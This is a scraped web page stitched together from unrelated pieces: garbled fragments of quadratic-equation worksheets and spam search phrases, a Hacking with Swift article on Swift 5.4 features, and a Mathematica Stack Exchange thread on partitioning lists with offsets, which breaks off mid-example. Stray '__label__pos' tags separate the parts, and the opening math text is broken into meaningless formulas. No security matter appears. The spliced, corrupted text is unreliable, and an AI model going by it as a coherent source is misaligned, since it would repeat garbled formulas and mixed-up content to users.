{{1, 2, 3}, {2, 3, 4, 5}, {5, 6, 7}, {7, 8, 9, 10}, {11, 12, 13}, {12,
13, 14, 15}, {15, 16, 17}, {17, 18, 19, 20}, {21, 22, 23}, {22, 23,
24, 25}, {25, 26, 27}, {27, 28, 29, 30}, {31, 32, 33}, {32, 33, 34,
35}, {35, 36, 37}, {37, 38, 39, 40}, {41, 42, 43}}
and so on, and so forth.
share|improve this answer
multisegment[Range[10], {5, 4}, {2, 3}] almost gives the right answer... – J. M. Jan 30 '12 at 4:17
that broke because Take was trying to take a position beyond the length of the list. Now fixed. – Mike Honeychurch Jan 30 '12 at 4:30
You new code does not generate the entire set of partitions. Try the example multisegment[Range[100], {5, 4}, {2, 3}] – Simon Jan 30 '12 at 10:12
fixed. just needed to modify the pad right length. – Mike Honeychurch Jan 30 '12 at 11:08
1
Nice generalization! :) – J. M. Jan 31 '12 at 1:48
add comment
Here's my version using the Sow and Reap combination.
multisegment::arglen =
"The argument `1` is not of the same length as the argument `2`.";
multisegment[lst_List, scts_List, offsets_List] :=
Module[{len = Length[lst], slen = Length[scts], i = 1, j = 1},
Reap[If[slen =!= Length[offsets],
Message[multisegment::arglen, scts, offsets]; Sow[$Failed],
Do[Sow[Take[lst, {i, i + scts[[j]] - 1}]];
i = i + offsets[[j]]; j = Mod[j + 1, slen, 1];
If[i + scts[[j]] - 1 > len, Break[]],
{len/Total[offsets]*slen}]]]][[2, 1]]
multisegment[lst_List, scts_List] := multisegment[lst, scts, scts]
Note that you should also add checks to make sure that the scts and offsets arguments are all integers and that Total[offsets] > 0 etc...
Here's the relative timings (using my TimeAv code) for running
multisegment[Range[n], {4, 3}, {3, 1}]; // TimeAv
with various values of n and the different solutions presented so far. The timing of my version of multisegment is normalised to 1.
Mike H Heike
n = 200 0.488689, 2.17595
n = 20 000 0.444445, 4.00373
n = 200 000 0.495761, 54.6492
share|improve this answer
Maybe someone could test the "fastest" way to apply the conditions: partition list and offset list must be one or more positive integers. – Mike Honeychurch Jan 31 '12 at 3:15
add comment
My first method was related to Mike's, yet unrefined. This is another method designed for speed. As written it only returns the portion of the list which can be partitioned into a complete set of partitions. This behavior can be changed with 4th+ argument of Partition and/or filtering.
dpCyclic[l_List, p : {__Integer?Positive}, {os__Integer?Positive}] :=
Module[{ranges, blocks},
ranges = {# + 1, # + p} & @ Most @ Accumulate @ {0, os};
blocks = Partition[l, Max @ Last @ ranges, +os];
MapThread[blocks[[All, # ;; #2]] &, ranges] ~Flatten~ {2, 1}
]
As an example of different behavior (with implicit Nulls):
dpCyclic[l_List, p : {__Integer?Positive}, {os__Integer?Positive}] :=
Module[{ranges, blocks},
ranges = {# + 1, # + p} & @ Most @ Accumulate @ {0, os};
blocks = Partition[l, Max @ Last @ ranges, +os, 1,];
MapThread[blocks[[All, # ;; #2]] &, ranges] ~Flatten~ {2, 1} ~DeleteCases~ {___,}
]
share|improve this answer
add comment
Also related to Mike's solution:
ClearAll[irregPartition];
irregPartition[list_List, sizes_List, offsets_List] :=
Module[{offsetlist, sizelist},
offsetlist = (NestWhile[Join[offsets, #] &,offsets, (Tr@# < Length@list) &] //
NestWhile[Most, #, (Tr@# >= Length@list) &] & // Accumulate //
Prepend[#, 0] & ) + 1;
sizelist = NestWhile[Join[sizes, #] &,sizes,(Length@# <= Length@offsetlist) &] //
NestWhile[Most, #, Length@# > Length@offsetlist &] &;
{offsetlist, sizelist} =Transpose@TakeWhile[
Partition[Riffle[offsetlist, sizelist], 2], #[[1]] + #[[2]] <= Length@list &];
MapThread[Take[#1,Min[#2, Length@#1]] &, {Drop[list,
Min[#, Length@list]] & /@ (offsetlist - 1), sizelist}] //
If[Length@Last@# < Last@sizelist, Most@#, #] &];
irregPartition[list_List, sizes_List] := irregPartition[list, sizes, sizes];
Example:
list = Range[10];
sizes = {5, 4};
offsets = {2, 3};
irregPartition[list, sizes, offsets]
(*
==> {{1,2,3,4,5},{3,4,5,6},{6,7,8,9,10}}
*)
irregPartition[list, sizes]
(*
==> {{1,2,3,4,5},{6,7,8,9}
*)
Another example:
list = CharacterRange["a", "x"];
sizes = {4, 5, 3, 4};
offsets = {2, 7, 3, 5};
irregPartition[list, sizes, offsets]
(*
==> {{"a","b","c","d"},{"c","d","e","f","g"},{"j","k","l"},{"m","n","o","p"},{"r","s","t","u"},{"t","u","v","w","x"}}
*)
irregPartition[list, sizes]
(*
==> {{"a","b","c","d"},{"e","f","g","h","i"},{"j","k","l"},{"m","n","o","p"},{"q","r","s","t"}}
*)
share|improve this answer
add comment
Whit solution is using a NestWhile construction in combination with Sow and Reap
partitions[list_, {parts_List, offsets_List}] :=
Reap[
NestWhile[{RotateLeft[#[[1]]], RotateLeft[#[[2]]],
Sow[#[[3]][[;; #[[1, 1]]]]]; ArrayPad[#[[3]], {-#[[2, 1]], 0}]} &,
{parts, offsets, list},
(Length[#[[3]]] >= #[[1, 1]]) &];
][[2, 1]]
partitions[list_, p : {__?NumericQ}] := partitions[list, {p, p}]
Example
list = CharacterRange["a", "z"];
partitions[list, {{3, 4}, {1, 3}}]
{{"a", "b", "c"}, {"b", "c", "d", "e"}, {"e", "f", "g"},
{"f", "g", "h", "i"}, {"i", "j", "k"}, {"j", "k", "l", "m"},
{"m", "n", "o"}, {"n", "o", "p", "q"}, {"q", "r", "s"},
{"r", "s", "t", "u"}, {"u", "v", "w"}, {"v", "w", "x", "y"}}
share|improve this answer
add comment
I've managed to slightly build on Mike's answer. There's a minimum (i.e., woefully incomplete) amount of checking done, but it should mostly work:
multisegment[lst_List, scts:{__Integer?Positive}, offset:{__Integer?NonNegative}]:=
Module[{n = Length[lst], k, offs},
k = Ceiling[n/Mean[offset]];
offs = Prepend[Accumulate[PadRight[offset, k, offset]], 0];
Take[lst, #] & /@ TakeWhile[
Transpose[{offs + 1, offs + PadRight[scts, k + 1, scts]}],
Apply[And, Thread[# <= n]] &]] /; Length[scts] == Length[offset]
multisegment[lst_List, scts:{__Integer?Positive}] :=
multisegment[lst, scts, scts] /; Mod[Length[lst], Total[scts]] == 0
share|improve this answer
Seems to fail if the partition list is not the same length as the offset list. e.g. multisegment[Range[24], {2, 4}, {3, 2, 4}] or multisegment[Range[24], {3, 2, 4}, {2, 4}] – Mike Honeychurch Jan 31 '12 at 2:13
plus this multisegment[Range[24], {3, 2, 4}, {3, 2, 4}] returns an answer but it is incomplete. – Mike Honeychurch Jan 31 '12 at 2:17
@Mike, Re: the first, I didn't set out to go for the case of the partition list and offset list not having the same length (hence the Length[p] == Length[os] condition). I have already upvoted your answer even before your generalization, though. Re: the second, it's an incommensurate case that I had not accounted for and is thus a bug; I'll think of a fix. – J. M. Jan 31 '12 at 2:48
I've gone with polishing your version, Mike. :) – J. M. Jan 31 '12 at 3:19
Getting rid of Inner seems to speed it up. I am going to add that to mine :). Not noticing any speed improvement using TakeWhile instead of DeleteCases ...in fact that seems to slow it down a bit. And given that DeleteCases is a bit easier to read I will stick with that. – Mike Honeychurch Jan 31 '12 at 3:32
show 3 more comments
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.947481 |
Particularités numériques (constantes de Kaprekar)
Particularités numériques (constantes de Kaprekar)
Nous allons parler dans cet article, inspiré de la vidéo suivante, des constantes de Kaprekar et aller un peu plus loin.
constantes de Kaprekar
Kaprekar
Le problème mathématique sur un nombre à 3 chiffres pour obtenir une des constantes de Kaprekar 495
Exposé théorique
Étant donné un nombre entier \(n\) à 3 chiffres non tous identiques, noté \(\overline{x_1x_2x_3}\), on considère les fonctions:$$b(n)=\overline{x_ix_jx_k},~\text{avec }x_i \geqslant x_j \geqslant x_k$$et:$$s(n)=\overline{x_mx_nx_p},~\text{avec }x_m \leqslant x_n \leqslant x_p.$$On note ensuite:$$d(n)=b(n)-s(n).$$Alors, il existe un entier r>0 tel que pour tout entier \(q \geqslant r\), \(d^q(n)=495\), en prenant pour convention que:$$d^q(n) = \underbrace{(d \circ d \circ \cdots \circ d)}_{q\text{ fois}}(n).$$
Un exemple
Prenons:$$n=847$$. Alors,$$b(n)=874$$et$$s(n)=478$$. Ici, on forme le plus grand entier possible avec les chiffres de n (c’est b(n) – b pour “biggest”) et le plus petit nombre possible avec ces mêmes chiffres (c’est s(n) – s pour “smallest”).
Ensuite, on calcule la différence:$$d(n)=874-478=396.$$On applique alors à 396 la fonction d à nouveau. On trouve:$$d(396)=963-369=594,$$ puis on applique à nouveau d à 594:$$d(594)=954-459=495.$$Si on applique à nouveau d à 495, on trouve:$$d(495)=954-459=495.$$
Ainsi, pour tout entier \(q \geqslant 3\),$$d^q(847)=495.$$
Le problème mathématique sur un nombre à 4 chiffres pour obtenir une des constantes de Kaprekar 6174
Si on fait la même chose sur un nombre à quatre chiffres, on constate qu’il existe un entier r à partir duquel \(d^q(n)=6174\).
Par exemple, si on prend:$$n=4521$$on a:$$d(n)=5421-1245=4176$$et$$d^2(n)=7641-1467=6174.$$On peut voir aussi que \(d(6174)=6174\) donc inutile d’aller plus loin.
Un programme Python
Comme je suis une grosse feignasse, je n’aime pas faire de calculs répétitifs donc je préfère écrire un programme qui fait ça pour moi…
def d(n):
L = list( str(n) )
L.sort()
smallest = ''.join(L)
L.reverse()
biggest = ''.join( L )
return int(smallest) , int(biggest) , int(biggest)-int(smallest)
n = int( input("Entrez un nombre entier : ") )
ant = 0
while d(ant) != d(n):
print('{} --> {} , {} --> différence = {}'.format(n , d(n)[0] , d(n)[1] , d(n)[2]))
ant = n
n = d(ant)[2]
Ce n’est sans doute pas un programme optimal, mais… après tout, je suis en vacances ! Et il fait le job…
L’idée est de voir les différents résultats de \(d^q(n)\), et ça fonctionne bien. Bien sûr, en l’état, si vous entrez un entier à plus de 4 chiffres, ça ne fa pas fonctionner…
Le problème mathématique sur un nombre à 5 chiffres et plus : constantes de Kaprekar ?
Constat mathématique
Si on prend un nombre à 5 chiffres, on s’aperçoit que les choses changent. À l’aide du programme précédent, on le stoppant manuellement, on s’aperçoit qu’il y a un cycle.
Par exemple, si on prend:$$n=12345$$cela donne:
12345 --> 12345 , 54321 --> différence = 41976
41976 --> 14679 , 97641 --> différence = 82962 <====
82962 --> 22689 , 98622 --> différence = 75933
75933 --> 33579 , 97533 --> différence = 63954
63954 --> 34569 , 96543 --> différence = 61974
61974 --> 14679 , 97641 --> différence = 82962 <==== cycle
En prenant:$$n=28018$$on a:
28018 --> 1288 , 88210 --> différence = 86922
86922 --> 22689 , 98622 --> différence = 75933 <===
75933 --> 33579 , 97533 --> différence = 63954
63954 --> 34569 , 96543 --> différence = 61974
61974 --> 14679 , 97641 --> différence = 82962
82962 --> 22689 , 98622 --> différence = 75933 <=== cycle
En prenant:$$n=98174$$on a:
98174 --> 14789 , 98741 --> différence = 83952 <===
83952 --> 23589 , 98532 --> différence = 74943
74943 --> 34479 , 97443 --> différence = 62964
62964 --> 24669 , 96642 --> différence = 71973
71973 --> 13779 , 97731 --> différence = 83952 <=== cycle
Bon, on ne va pas tous les faire mais bon… allez ! Un dernier et j’arrête: pour$$n=10101$$on a:
10101 --> 111 , 11100 --> différence = 10989
10989 --> 1899 , 99810 --> différence = 97911
97911 --> 11799 , 99711 --> différence = 87912
87912 --> 12789 , 98721 --> différence = 85932
85932 --> 23589 , 98532 --> différence = 74943 <===
74943 --> 34479 , 97443 --> différence = 62964
62964 --> 24669 , 96642 --> différence = 71973
71973 --> 13779 , 97731 --> différence = 83952
83952 --> 23589 , 98532 --> différence = 74943 <=== cycle
Modification du programme Python
Plutôt que de d’interrompre manuellement le programme, autant le modifier pour qu’il s’arrête de lui-même quand une boucle est détectée:
def d(n):
L = list( str(n) )
L.sort()
smallest = ''.join(L)
L.reverse()
biggest = ''.join( L )
return int(smallest) , int(biggest) , int(biggest)-int(smallest)
n = int( input("Entrez un nombre entier : ") )
ant = 0
N = [ n ]
add = False
while not add:
print('{} --> {} , {} --> différence = {}'.format(n , d(n)[0] , d(n)[1] , d(n)[2]))
n = d(n)[2]
if n not in N:
N += [ n ]
else:
add = True
Ainsi, en entrant:$$n=78545$$on a:
78545 --> 45578 , 87554 --> différence = 41976
41976 --> 14679 , 97641 --> différence = 82962
82962 --> 22689 , 98622 --> différence = 75933
75933 --> 33579 , 97533 --> différence = 63954
63954 --> 34569 , 96543 --> différence = 61974
61974 --> 14679 , 97641 --> différence = 82962
Pour \(n=55155\), on a:
55155 --> 15555 , 55551 --> différence = 39996
39996 --> 36999 , 99963 --> différence = 62964
62964 --> 24669 , 96642 --> différence = 71973
71973 --> 13779 , 97731 --> différence = 83952
83952 --> 23589 , 98532 --> différence = 74943
74943 --> 34479 , 97443 --> différence = 62964
(ah zut ! j’avais promis d’arrêter…)
Ce qu’il y a de bien avec ce programme est que l’on peut entrer un nombre entier quelconque, ça fonctionne!
Pour en savoir un peu plus, vous pouvez regarder par exemple la page https://www.dcode.fr/algorithme-kaprekar
Stéphane Pasquet
Stéphane Pasquet
Laissez votre message
Supportscreen tag
|
__label__pos
| 0.517289 |
~chrisppy/go-barefeed
ref: 022d6ea6f0215c28fa4b4b69dd9d821c8766ded8 go-barefeed/feed_test.go -rw-r--r-- 2.5 KiB
022d6ea6Chris Palmer updates from barefeed fixes 5 months ago
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package barefeed
import (
"sort"
"testing"
"time"
)
func testFeeds(t *testing.T, expected, actual Feeds) {
if len(expected) != len(actual) {
t.Errorf("Expected %d feeds, actual %d feeds", len(expected), len(actual))
}
for i := 0; i < len(expected); i++ {
r := actual[i].(*FeedV1)
e := expected[i].(*FeedV1)
if e.Path != r.Path {
t.Errorf("Expected %s, actual %s", e.Path, r.Path)
}
if r.ID != e.ID {
t.Errorf("Expected %s, actual %s", e.ID, r.ID)
}
if r.Generator != e.Generator {
if e.Generator == nil {
t.Errorf("Expected nil, actual %s", *r.Generator)
} else if r.Generator == nil {
t.Errorf("Expected %s, actual nil", *e.Generator)
} else if *r.Generator != *e.Generator {
t.Errorf("Expected %s, actual %s", *e.Generator, *r.Generator)
}
}
if r.IsAtom != e.IsAtom {
t.Errorf("Expected %t, actual %t", e.IsAtom, r.IsAtom)
}
if r.Updated != e.Updated {
t.Errorf("Expected %v, actual %v", e.Updated, r.Updated)
}
if r.Description != e.Description {
if e.Description == nil {
t.Errorf("Expected nil, actual %v", *r.Description)
} else if r.Description == nil {
t.Errorf("Expected %v, actual nil", *e.Description)
} else {
testText(t, *e.Description, *r.Description)
}
}
testText(t, e.Title, r.Title)
testPersons(t, e.Authors, r.Authors)
testLinks(t, e.Links, r.Links)
testEntries(t, e.Entries, r.Entries)
}
}
func TestFeedSort(t *testing.T) {
a := getFeed("Omega")
b := getFeed("beta")
c := getFeed("Alpha")
f := Feeds{a, c, b}
sort.Sort(f)
if f[0].(*FeedV1).Title.Value != c.(*FeedV1).Title.Value {
t.Errorf("Expected %v, actual %v", c.(*FeedV1).Title.Value, f[0].(*FeedV1).Title.Value)
}
if f[1].(*FeedV1).Title.Value != b.(*FeedV1).Title.Value {
t.Errorf("Expected %v, actual %v", b.(*FeedV1).Title.Value, f[1].(*FeedV1).Title.Value)
}
if f[2].(*FeedV1).Title.Value != a.(*FeedV1).Title.Value {
t.Errorf("Expected %v, actual %v", a.(*FeedV1).Title.Value, f[2].(*FeedV1).Title.Value)
}
}
func getFeeds() Feeds {
fd := getFeed("test title")
return Feeds{fd}
}
func getFeed(title string) Feed {
gen := "test gen"
desc := getText()
f := FeedV1{
Path: "https://example.com/feed.xml",
ID: "urn:uuid:22fea9cf-095c-4634-95f5-d0b72f99944f",
Generator: &gen,
IsAtom: true,
Title: getText(),
Updated: ToTimestamp(time.Now()),
Description: &desc,
Links: getLinks(),
Authors: getPersons(),
Entries: getEntries(),
}
f.Title.Value = title
var fd Feed = &f
return fd
}
|
__label__pos
| 0.994224 |
Odpowiedzi
2009-12-08T22:51:12+01:00
Obwód 2πr=80π
r=40
P=πr²
P=π40²=1600π
Najlepsza Odpowiedź!
2009-12-08T22:52:49+01:00
O=2×pi×r
czyli 80/2=40
r=40
P=pi×r²
P=1600pi
a dokladniej
P=1600×3,14
P=5024
2009-12-08T22:54:07+01:00
Dane:
L = 80π
Szukane:
P = ??
Rozwiązanie:
L = 2*π*r
r = 80 : 2 = 40(cm)
P = π*r^2 - (r do kwadratu)
P = π*(40*40) = 3.14*1600(cm) = 5024(cm^2) - (cm kwadratowego)
Odp: Pole koła wynosi 5024(jednostka może być w zadaniu inna niż cm, ale wynik i tak będzie taki)
|
__label__pos
| 0.920713 |
Resources Contact Us Home
Browse by: INVENTOR PATENT HOLDER PATENT NUMBER DATE
Remote collaboration system performed by a host computer running an application program and remote computers running a program distinct from the application program
5944785 Remote collaboration system performed by a host computer running an application program and remote computers running a program distinct from the application program
Patent Drawings:Drawing: 5944785-10 Drawing: 5944785-11 Drawing: 5944785-12 Drawing: 5944785-13 Drawing: 5944785-14 Drawing: 5944785-15 Drawing: 5944785-16 Drawing: 5944785-2 Drawing: 5944785-3 Drawing: 5944785-4
« 1 2 »
(15 images)
Inventor: Pommier, et al.
Date Issued: August 31, 1999
Application: 08/811,078
Filed: March 3, 1997
Inventors: Carleton; Allison A. (Lisle, IL)
Fitzpatrick; Catherine M. (Winfield, IL)
Pommier; Theresa M. (Westmont, IL)
Schwartz; Krista S. (Batavia, IL)
Assignee: NCR Corporation (Dayton, OH)
Primary Examiner: Barry; Lance Leonard
Assistant Examiner:
Attorney Or Agent: Welte; Gregory A.Gates; George H.
U.S. Class: 709/205; 715/751; 715/759
Field Of Search: 345/1; 345/2; 345/112; 345/330; 345/331; 345/332; 395/330; 395/331; 395/332; 395/333; 395/200.04; 395/200.34; 395/200.35
International Class: G06F 13/00
U.S Patent Documents: 4939509; 5107443; 5119319; 5241625; 5245553; 5337407; 5339388; 5339389; 5530880; 5608872; 5649104; 5704042; 5835713
Foreign Patent Documents: 0279558
Other References: Bernard J. Haan et al., IRIS Hypermedia Services in Communications of the ACM, vol. 35, No. 1, p. 36., Jan. 1992..
Abstract: A method and system for remote collaboration is disclosed, wherein a host program running on a host computer is distinct from a remote program running on remote computers. The host program provides an output, and the remote program, which is distinct from the host program, presents the output on the display of the computers, provides input to the host program, annotates the display of the computers, replicates the display of one computer to another computer, and selectively blocks inputs to the program and annotations to the display.
Claim: What is claimed is:
1. In a computer system which includes a host computer and one or more remote computers linked together by one or more data channels, the improvement comprising:
a) means for running a program on the host computer;
b) shared program means, running on each of the remote computers, for allowing the remote computers to issue commands to the running program;
c) means for allowing a user of any computer to annotate the display of the user's computer;
d) means for selectively collecting annotations and replicating the collected annotations on other displays; and
e) means for selectively blocking annotations from other computers to the display of the user's computer.
2. In a computer system which includes a host computer and one or more remote computers linked together by one or more data channels, the improvement comprising:
a) means for running a program on the host computer;
b) shared program means for allowing the remote computers to issue commands to the running program;
c) means for allowing a user of any computer to annotate the display of the user's computer;
d) means for selectively collecting annotations and replicating the collected annotations on other displays; and
e) means for selectively blocking an annotation on the user's computer from the other computers.
3. A method of operating a host computer and at least one remote computer, each having a display, comprising the following steps:
a) running a shared program on the host computer, the shared program providing an output;
b) presenting the output on at least a portion of the display of the host computer;
c) providing input to the shared program, based on actions of a user of the remote computer;
d) allowing a user of any computer to annotate the display of the user's computer, the annotations being distinct from the commands issued to the shared program;
e) replicating the display of the host computer on the display of the remote computer;
f) selectively blocking inputs to the shared program and annotations to the display from the remote computer; and
g) wherein one or more of the steps of a) to f) are accomplished by a computer program executed by the remote computers which is distinct from the shared program executed by the host computer.
4. In a computer system which includes a host computer and one or more remote computers linked together by one or more data channels, the improvement comprising:
a) means for running a shared program on the host computer;
b) means for allowing the remote computers to issue commands to the shared program;
c) means for allowing a user of any computer to annotate the display of the user's computer;
d) means for selectively collecting annotations and replicating the collected annotations on the remote computer's displays;
e) selectively blocking annotations from other computers to the display of the user's computer; and
f) wherein one or more of the steps of a) to e) are accomplished by a computer program executed by the remote computers which is distinct from the shared program executed by the host computer.
5. A method of operating a host and one or more remote computers, each having a display, comprising the following steps:
a) running an application program on the host computer, the application program providing an output;
b) presenting the output on at least a portion of the display of the host computer;
c) providing input to the application program, based on actions of a user of remote computer;
d) allowing a user of any computer to annotate the display of the user's computer, the annotations being distinct from the commands issued to the running application program;
e) replicating the display of the host computer on the display of the remote computer;
f) selectively blocking an annotation on the host computer from replicating on the display of at least one of the remote computers;
g) selectively blocking an input to the host computer from replicating on the display of at least one of the remote computers; and
h) wherein one or more of the steps of a) to g) are accomplished by a computer program executed by the remote computers which is distinct from the application program.
6. In a computer system which includes a host computer and one or more remote computers linked together by one or more data channels, the improvement comprising:
a) means for running a shared program on the host computer;
b) means for allowing the remote computer to issue commands to the running shared program;
c) means for allowing a user of any computer to annotate the display of the user's computer, the annotations being distinct from the commands issued to the running shared program;
d) means for selectively collecting annotations and replicating the collected annotations on other displays;
e) means for selectively blocking an annotation on the user's computer from the other computers; and
f) wherein one or more of the steps of a) to e) are accomplished by a computer program executed by the remote computers which is distinct from the shared program.
Description: REFERENCE TO AMICROFICHE APPENDIX
A microfiche appendix, containing 2 microfiche and 142 total frames is filed herewith.
The invention concerns systems which allow multiple users to remotely operate a single computer program. The invention generates a common visual image which is distributed to all computers. The users can make annotations on the common display. When they do, the invention replicates the annotations on all displays. Annotations can be kept private by users, if desired.
CROSS-REFERENCE TO RELATED APPLICATIONS
This application is related to:
application Ser. No. 08/035,092 now U.S. Pat. No. 5,649,104, issued Jul. 15, 1997 entitled "Remote Collaboration System," filed on same date herewith by Carleton et al. and assigned to the assignee of this application;
application Ser. No. 08/035,091 now U.S Pat. No. 5,835,713, issued Nov. 10, 1998 entitled "Remote Collaboration System," filed on same date herewith by FitzPatrick et al. and assigned to the assignee of this application; and
application Ser. No. 08/034,313 now U.S. Pat. No. 5,608,872, issued Mar. 4, 1997 entitled "Remote Collaboration System," filed on same date herewith by Schwartz et al. and assigned to the assignee of this application.
BACKGROUND OF THE INVENTION
Modern telephone systems allow multiple parties at different locations to hold a conference. However, telephone conferences do not provide all of the conveniences of a face-to-face conference, where participants all meet at a common table in ameeting room.
For example, in a meeting room, participants can view an object of interest, such as a drawing or a product. Such viewing is not possible in a telephone conference.
The invention provides a system which duplicates many of the conveniences of a conference where people are physically present, but allows them to be at remote locations.
OBJECTS OF THE INVENTION
It is an object of the invention to provide an improved electronic conferencing system.
It is a further object of the invention to provide a system which allows users to remotely operate a computer program.
It is a further object of the invention to provide a system which allows multiple computers to operate a single program residing on one of the computers.
It is a further object of the invention to provide a system which allows multiple computer users to view and annotate a common display.
SUMMARY OF THE INVENTION
In one form of the invention, multiple computers are linked together. One computer runs an application program. The invention allows a user of one of the other computers to control the program.
BRIEF DESCRIPTION OF THE DRAWINGS
FIG. 1 illustrates three computers, connected by telephone lines.
FIG. 2 initiates an example, which will be elaborated in FIGS. 3-14. In the example, a calculator program is operated, and annotated, by various parties.
FIG. 3 illustrates how the invention responds when a host user attempts to operate the calculator, when the invention is in Annotation mode.
FIG. 4 illustrates how the invention responds when a host user attempts to annotate the calculator, when the invention is in Annotation mode.
FIG. 5 illustrates how the invention responds when a host user attempts to operate the calculator, when the invention is in Application mode.
FIG. 6 illustrates how the invention responds when a host user attempts to operate the calculator, when the invention is in Local Annotation mode.
FIG. 7 illustrates how the invention responds when a host user attempts to annotate the calculator, when the invention is in Local Annotation mode.
FIG. 8 illustrates how the invention responds to a host user when in View mode.
FIG. 9 illustrates how the invention responds when a remote user attempts to operate the calculator, when the invention is in Annotation mode.
FIG. 10 illustrates how the invention responds when a remote user attempts to annotate the calculator, when the invention is in Annotation mode.
FIG. 11 illustrates how the invention responds when a remote user attempts to operate the calculator, when the invention is in Application mode.
FIG. 12 illustrates how the invention responds when a remote user attempts to operate the calculator, when the invention is in Local Annotation mode.
FIG. 13 illustrates how the invention responds when a remote user attempts to annotate the calculator, when the invention is in Local Annotation mode.
FIG. 14 illustrates how the invention responds to a remote user when in View mode.
FIGS. 15 and 15A illustrate logic flow used by the invention.
DETAILED DESCRIPTION OF THE INVENTION
Overview
FIG. 1 shows three computers connected by telephone links. Each computer runs a message-driven, multi-tasking, Graphical User Interface (GUI), such as that sold under the name Windows, available from Microsoft Corporation, located in Redmond,Wash. Such GUIs are also called operating environments.
The user of a GUI interacts with a program by way of windows. The invention replicates selected windows, rather than the entire display, at the remote computers. This selective replication allows users to maintain private areas on theirdisplays, which are not shared.
Each computer also runs software developed by the inventors. In addition, one computer (the Host) runs an Application program. (It is possible for the Host to run both programs because of the multi-tasking capabilities of the GUI.)
The invention has four basic modes of operation:
1. Application Mode
Any user of any of the three computers in FIG. 1 can issue commands to the Application program. For example, assume the Application program is one which simulates a hand-held calculator. The initial situation is shown in FIG. 2, where eachcomputer display shows the calculator. Assume that the following events occur:
The user of the Host presses the "3" button on the calculator (either by keyboard input, or mouse input, depending upon the design of the calculator program). In response, each calculator, in its display area, shows a "3".
The user of one Remote presses "+".
The user of the other Remote presses "6".
The user of the Host presses "=".
At this point, all calculators will display "9", which is the sum of 3 and 6. The users collectively operated the calculator program, and the display of each shows the result.
The calculator program does not care which users pressed the buttons, nor whether some users pressed no buttons, provided a legal sequence of buttons was received. (It is assumed that the users are cooperative, and that no users try to sabotageoperation of the calculator.)
2. Annotation Mode
Any user can draw on the user's own, local, display, using drawing tools similar to those found in a "paint" program. The user can draw boxes, circles, arcs, text, ellipses, and so on. The user can also erase items on the display.
The invention can replicate the user's annotations on all other displays, so that all users view similar displays. However, the displays could be different, because of the following factors:
(A) Different display monitors have different properties, such as resolution and color capability.
(B) Different display protocols (EGA, VGA, etc.) represent graphics images differently, and have different color capabilities.
(C) Different GUIS, or different versions of the same GUI, may have different display conventions. Different computers in FIG. 1 could run the different GUIs.
(D) Some users have changed the size of the window in which their calculator is displayed, causing a deviation in scaling.
These differences can cause differences in the appearance of the displayed images, relative to each other, but the basic content of all displays should be the same. To accommodate size differences, the invention draws to different scales asappropriate.
3. Local Annotation Mode
A user can annotate the local display, but the annotations are kept private, and no other user can see the annotations.
4. View Mode
No users can annotate, nor can they issue commands. However, an action resembling annotation can be taken. Users can move their cursors, and others will see the movement, allowing remote pointing. View Mode is useful in one embodiment,wherein, for example, Annotate Mode is in force, but a specific user's mode is designated as View. In this embodiment, all users can annotate, but the "View" user can only watch, and cannot annotate.
Explanation of Individual Modes
FIGS. 3-14 will illustrate the different modes, by way of example, using the calculator program.
FIG. 3
Host Runs Application Program
Mode is "Annotation"
User Input is at Host Computer
User Attempts to Operate Calculator
Assume that the user of the host computer attempts to add two numbers, using the calculator. Attempted entry of the first number will be considered.
The user, located at the Host, moves the Host's cursor over a key of the calculator, as shown in FIG. 3, and tries to depress the key, by clicking the mouse. However, the mouse click does not reach the Application program, because the inventionblocks it. The Application program does not respond, because it receives no mouse click.
That is, in more detail, the GUI detects the mouse movement, and causes "mouse messages" to be generated. The GUI places the mouse messages into a queue, where they await processing. INPUT ROUTER in FIG. 15 reads these messages. Because"Annotation Mode" is currently in force, INPUT ROUTER directs the messages to the ANNOTATION block. APPLICATION does not receive the messages, and thus does not respond. The mouse click is ignored.
ANNOTATION's Response
ANNOTATION can be configured to respond in two (or more) ways to the mouse messages. In one configuration, ANNOTATION requires the mouse to initially select an ANNOTATION TOOL. If no selection is done, ANNOTATION ignores mouse messages.
Selection is done by clicking the mouse over an image of the tool, as is commonly done in "paint" programs. ANNOTATION recognizes this tool selection, and then treats subsequent mouse clicks as data for drawing with the selected tool. Forexample, if a rectangle tool were selected, the next two mouse clicks would define the diagonal corners of the rectangle. (FIG. 4, later discussed, illustrates drawing a rectangle.)
Under the second configuration, a default tool, such as a pen, is automatically selected when in Annotation Mode. In this configuration, when the user tries to depress a calculator button (by clicking on it), the user (unintentionally) initiatesdrawing of a line, using the pen. When the user recognizes this, the user can terminate drawing of the line, in any of several known ways.
Therefore, in Annotation Mode, the invention either (a) responds to mouse input by initiating a default annotation, or (b) ignores the mouse input, because an annotation tool was not selected. Keyboard input from the user is treated the sameway. Of course, other responses by ANNOTATION can be designed.
Tracking of Cursors
Each display shows a cursor whose position is controlled by the associated mouse. The invention replicates each cursor on all displays. Thus, in FIG. 3, with three mouses, there are three cursors on each display (only one is shown forsimplicity).
Consequently, when one user moves a mouse, the corresponding cursor moves on all displays.
In general, the three cursors are distinguishable: each cursor identifies its owner, as by color, shape, inclusion of a label, or the like.
FIG. 4
Host Runs Application Program
Mode is "Annotation"
User Input is at Host Computer
User Attempts to Draw a Box over the Calculator
This situation is quite similar to that of FIG. 3, except that, now, the user intends to draw an annotation, instead of intending to press a button, as in FIG. 3.
Assume that the user of the host computer draws a box over the calculator. (The box is shown overly large, for emphasis. It is preferred that the box not extend beyond the calculator itself.) The invention replicates the box on the remotecomputers. (The box is drawn using annotation tools, which are not shown.)
In terms of FIG. 15, INPUT ROUTER directs the logic flow to ANNOTATION. ANNOTATION calls the proper GDI functions to draw the box. Also, ANNOTATION sends "annotation messages" to CONNECTION API, which delivers the annotation messages to theRemotes.
ANNOTATION in FIG. 15A receives the annotation messages. This ANNOTATION block represents the logic executed at each remote computer. This ANNOTATION calls the proper GDI functions, via the block GDI.
"GDI" is an acronym for Graphical Device Interface. "GDI functions" are small programs, contained in a larger program of the GUI called GDI.EXE. A GDI function, when called, draws a specific graphic image, such as a circle, box, or text, basedon subsequent input from the user. Other GDI functions perform other tasks, such as selecting pen widths.
